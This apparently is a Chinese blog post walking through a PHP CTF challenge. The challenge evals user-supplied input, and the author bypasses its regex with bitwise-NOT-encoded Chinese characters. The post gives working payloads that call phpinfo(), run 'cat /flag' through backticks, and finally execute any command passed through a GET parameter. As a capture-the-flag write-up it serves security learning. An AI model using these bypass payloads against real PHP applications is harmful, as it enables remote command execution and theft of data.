CTF | 一道有意思的 PHP Bypass


图 | x.com/beprni

来自 2024 江苏移动平台测试题,感觉测试题都不会做了…

题目如下:

<?php
highlight_file(__FILE__);
if(isset($_GET['a1']) && isset($_GET['a2']) && isset($_GET['a3'])){
    $a1 = (String)$_GET['a1'];
    $a2 = (String)$_GET['a2'];
    $a3 = (String)$_GET['a3'];
    if(is_numeric($a1) && is_numeric($a2)){
        if(preg_match('/^\W+$/', $a3)){
            $code =  eval("return $a1$a3$a2;");
            echo "$a1$a3$a2 = ".$code;
        }
    }

0x00 分析

还是挺短的,传入三个参数 a1, a2, a3,其中 a1a2 必须是(?)数字。a3 丢进 GPT,

这时候有小聪明可能就开始想到 is_numeric 的绕过了,可能是我太菜了找不到怎么利用。

但是其实这题的重点在于 a3,即使数字和字母以及下划线被禁用了,我们也能 Getshell。可以看 P 神的博客学习:一些不包含数字和字母的webshell

按照博客的方法,我们可以初步构建出一个 phpinfo 的 Shell:

((~'发'[(">">"<")]).(~'门'[(">">"<")]).(~'发'[(">">"<")]).(~'方'[(">">"<")]).(~'周'[(">">"<")]).(~'晚'[(">">"<")]).(~'吗'[(">">"<")]))()

这段代码相当于执行 ("phpinfo")(),然后我们利用逻辑运算符把三个参数连起来,这里我选 || ,最终 Payload 是这样的:

?a1=0&a2=1&a3=||((~'发'[(">">"<")]).(~'门'[(">">"<")]).(~'发'[(">">"<")]).(~'方'[(">">"<")]).(~'周'[(">">"<")]).(~'晚'[(">">"<")]).(~'吗'[(">">"<")]))()||

成功输出了 phpinfo 页。

我们把上面的稍微改造一下,就能得到 exec() 任意命令执行。

0x01 优化!v1.0

但是构造 exec() 还是太麻烦了,能不能简化一点呢?别忘了 PHP 中还有最特别的一种 Shell 执行方式 —— `` 反引号。它会执行系统命令并且返回执行结果。

那么我们就来改造一下上面的 Payload 吧:

我们首先生成 cat /flag 对应的 Bypass 代码段,代码中 1 用了 (">">"<") 替代,也可以用 !!'.' 得到(应该是符合要求下比较(最?)短的绕过了。然后去掉一些括号,得到 cat /flag 字符串的 Bypass:

~'在'[!!'.'].~'瞰'[!!'.'].~'拾'[!!'.'].' /'.~'晚'[!!'.'].~'品'[!!'.'].~'瞰'[!!'.'].~'明'[!!'.']

然后我们考虑一下怎么使用 `` 执行我们的命令。

由试验可知,反引号内部支持使用 $ 来引用一个变量作为命令。比如:

<?php
    $cmd = "whoami";
    echo `$cmd`;

会调用 whoami 命令。

当使用 ${expr} 时会执行 expr 语句并引用 expr 的值为名称的变量,比如:

<?php
    $a = 1;
    echo "${$a += 1}";
    echo "$a";

在输出一行错误后(因为没有名称为 2 的变量)输出了 2 ,即此时 $a 已被修改为 2

所以我们可以在 ${} 中先把 Shell 赋值给一个变量,再调用。

a3=||`${$喵=~'在'[!!'.'].~'瞰'[!!'.'].~'拾'[!!'.'].' /'.~'晚'[!!'.'].~'品'[!!'.'].~'瞰'[!!'.'].~'明'[!!'.']}#`.`$喵`||

解释一下:

  • .来连接两段执行符号,第一段执行符号声明的变量作用域为全局。
  • # 号用来绕过由于不传参导致 Shell 执行失败,导致后面真正的代码执行部分就无法执行

0x02 优化!v2.0

虽然已经优化了许多,但是还是不够优雅。有没有一种能每次更改命令时不用重新手动构造 Payload 的办法呢?有的。

根据上面的试验,当使用 ${expr} 时会执行 expr 语句并引用 expr 的值为名称的变量,所以我们只要构造 _GET[cmd] 就好了。但是 cmd 还要重新构造很麻烦,我们直接换成中文 好了。

最终 Payload:

?a1=0&a3=||`{${~'样'[!!'.'].~'上'[!!'.'].~'了'[!!'.'].~'站'[!!'.']}[喵]}`||&a2=0&喵=cat /flag > output.txt

访问后会在根目录下创建 output.txt ,包含 /flag 内容。

解释一下:

  • {} 包裹 ${} 是因为用中文作为数组索引,如果不包裹就获取不到 $_GET[喵] 的值,我也不知道为什么。用 () 包裹是一样的效果。
  • 这个命令不支持回显,但是可以用管道符将输出重定向到当前目录。
  • 尝试过在 eval 中闭合标签并用 <?= 输出命令回显,但是好像被 return 给拦截了。也就是说在 eval 中 return 语句后的代码都不会被执行,即使是新的 php 代码段。

0x03 感想

一步一步优化 Payload 的感觉很不错,总算有点脱离脚本小子了。

PHP 虽然垃圾,但是还是很有意思的。

,

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注